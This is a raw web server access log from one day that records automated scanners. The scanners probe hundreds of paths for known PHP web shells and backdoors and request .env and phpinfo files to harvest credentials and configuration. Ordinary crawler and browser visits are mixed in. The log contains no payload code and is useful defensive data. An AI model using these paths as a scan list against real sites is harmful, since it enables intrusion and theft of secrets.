"GET /wp.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:29 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:32 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:35 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:38 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:40 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:42 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:44 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:46 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:49 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 105.188.78.215 - - [30/Apr/2025:14:33:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 119.13.62.232 - - [30/Apr/2025:14:33:50 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:52 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:54 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:33:58 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:02 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:04 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:08 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:10 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:13 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:16 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:19 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:21 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:24 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:26 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:29 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:32 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:36 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:39 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:43 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:47 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:49 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:52 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:54 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:56 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:34:59 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:00 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:02 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:04 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:10 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:13 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:16 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:18 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:22 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:26 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:30 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:32 -0400] "GET /444.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:34 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:36 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:38 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:41 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:44 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:47 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:52 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:35:55 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:00 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:03 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:06 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:08 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:13 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:17 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:23 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:26 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:30 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:34 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:38 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:42 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:45 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:48 -0400] "GET /wp-content/themes/newsfeed-theme/bbh.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:50 -0400] "GET /asdasdsasd.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:53 -0400] "GET /wp-admin/css/colors/blue/cons.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:55 -0400] "GET /wp-pussy.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:57 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:36:59 -0400] "GET /wp-admin/maint/cons.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:01 -0400] "GET /bbh.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:02 -0400] "GET /wp-includes/IXR/newsfeed.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:05 -0400] "GET /wp-content/plugins/newsfeed/newsfeed.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:07 -0400] "GET /newsfeed.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:09 -0400] "GET /wp-content/themes/tema/gn928.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:11 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:13 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:15 -0400] "GET /wp-content/themes/newsfeed-theme/newsfeed.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:18 -0400] "GET /wp-content/themes/newsfeed-theme/bbh.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:21 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:23 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:25 -0400] "GET /wp-png.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:29 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:32 -0400] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:34 -0400] "GET /w1xxasasx.php?p= HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:37 -0400] "GET /wp-configssss.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:39 -0400] "GET /cons.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:42 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:44 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:46 -0400] "GET /ThreeFox_Exploit/index.php?threefox HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:48 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:54 -0400] "GET /wp-content/plugins/helloblogx/wp_wol.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:37:58 -0400] "GET /wp-content/plugins/helloblogx/wp-apxupx.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:38:01 -0400] "GET /wp-content/plugins/helloblogx/wp_wol.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:38:06 -0400] "GET /wp-content/plugins/dhon/bbh.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:38:10 -0400] "GET /wp-content/plugins/dhon/byp.php?p= HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:38:15 -0400] "GET /wp-content/plugins/dhon/wp-fixi.php?p= HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:38:20 -0400] "GET /wp-content/plugins/dhon/yd.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 119.13.62.232 - - [30/Apr/2025:14:38:23 -0400] "GET /8573.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 44.199.196.43 - - [30/Apr/2025:14:48:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 2408:821b:5630:9fa0:b4fd:7f6d:cce5:30ae - - [30/Apr/2025:14:49:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 13; V2231A; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36 VivoBrowser/13.6.21.0" 119.13.62.232 - - [30/Apr/2025:14:50:56 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 162.14.197.180 - - [30/Apr/2025:15:25:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2602:fb54:9bb:: - - [30/Apr/2025:15:53:25 -0400] "GET /siteheads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 207.211.167.73 - - [30/Apr/2025:16:54:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 207.211.167.73 - - [30/Apr/2025:16:54:54 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 207.211.167.73 - - [30/Apr/2025:16:54:55 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 207.211.167.73 - - [30/Apr/2025:16:54:56 -0400] "GET /phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 207.211.167.73 - - [30/Apr/2025:16:54:57 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 207.211.167.73 - - [30/Apr/2025:16:54:58 -0400] "GET /config/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 207.211.167.73 - - [30/Apr/2025:16:54:59 -0400] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 43.159.148.221 - - [30/Apr/2025:17:40:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.79.162 - - [30/Apr/2025:18:30:57 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.162 - - [30/Apr/2025:18:30:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 138.199.19.163 - - [30/Apr/2025:18:39:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 66.249.79.167 - - [30/Apr/2025:18:57:17 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.37 - - [30/Apr/2025:19:04:44 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.38 - - [30/Apr/2025:19:04:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 49.77.199.203 - - [30/Apr/2025:19:06:41 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Mobile/15E148 Safari/604.1" 49.77.199.203 - - [30/Apr/2025:19:06:41 -0400] "GET /instapower/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Mobile/15E148 Safari/604.1" 208.100.26.246 - - [30/Apr/2025:19:53:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.1.0; SM-G610F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36" 185.21.13.25 - - [30/Apr/2025:19:57:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 114.119.135.254 - - [30/Apr/2025:19:58:41 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 178.20.47.92 - - [30/Apr/2025:20:32:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 145.239.10.137 - - [30/Apr/2025:20:49:29 -0400] "GET /index-bak.php HTTP/1.1" 301 795 "http://designpitara.com/index-bak.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 145.239.10.137 - - [30/Apr/2025:20:49:29 -0400] "GET /conf.php HTTP/1.1" 301 795 "http://designpitara.com/conf.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 145.239.10.137 - - [30/Apr/2025:20:49:29 -0400] "GET /infos.php HTTP/1.1" 301 795 "http://designpitara.com/infos.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 35.90.70.91 - - [30/Apr/2025:20:51:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:00:27 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 162.0.232.217 - - [30/Apr/2025:21:00:35 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:00:48 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 162.0.232.217 - - [30/Apr/2025:21:01:02 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 162.0.232.217 - - [30/Apr/2025:21:01:30 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 162.0.232.217 - - [30/Apr/2025:21:01:41 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:01:48 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:01:52 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [30/Apr/2025:21:01:59 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:02:02 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 162.0.232.217 - - [30/Apr/2025:21:02:04 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:02:06 -0400] "GET /.well-known/pki-validation/ssl.php%3fxsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 162.0.232.217 - - [30/Apr/2025:21:02:07 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:02:09 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:02:11 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 162.0.232.217 - - [30/Apr/2025:21:02:13 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:02:22 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 162.0.232.217 - - [30/Apr/2025:21:02:23 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [30/Apr/2025:21:02:23 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [30/Apr/2025:21:02:27 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 162.0.232.217 - - [30/Apr/2025:21:02:32 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 162.0.232.217 - - [30/Apr/2025:21:02:33 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:02:34 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 162.0.232.217 - - [30/Apr/2025:21:02:34 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:02:59 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:03:55 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 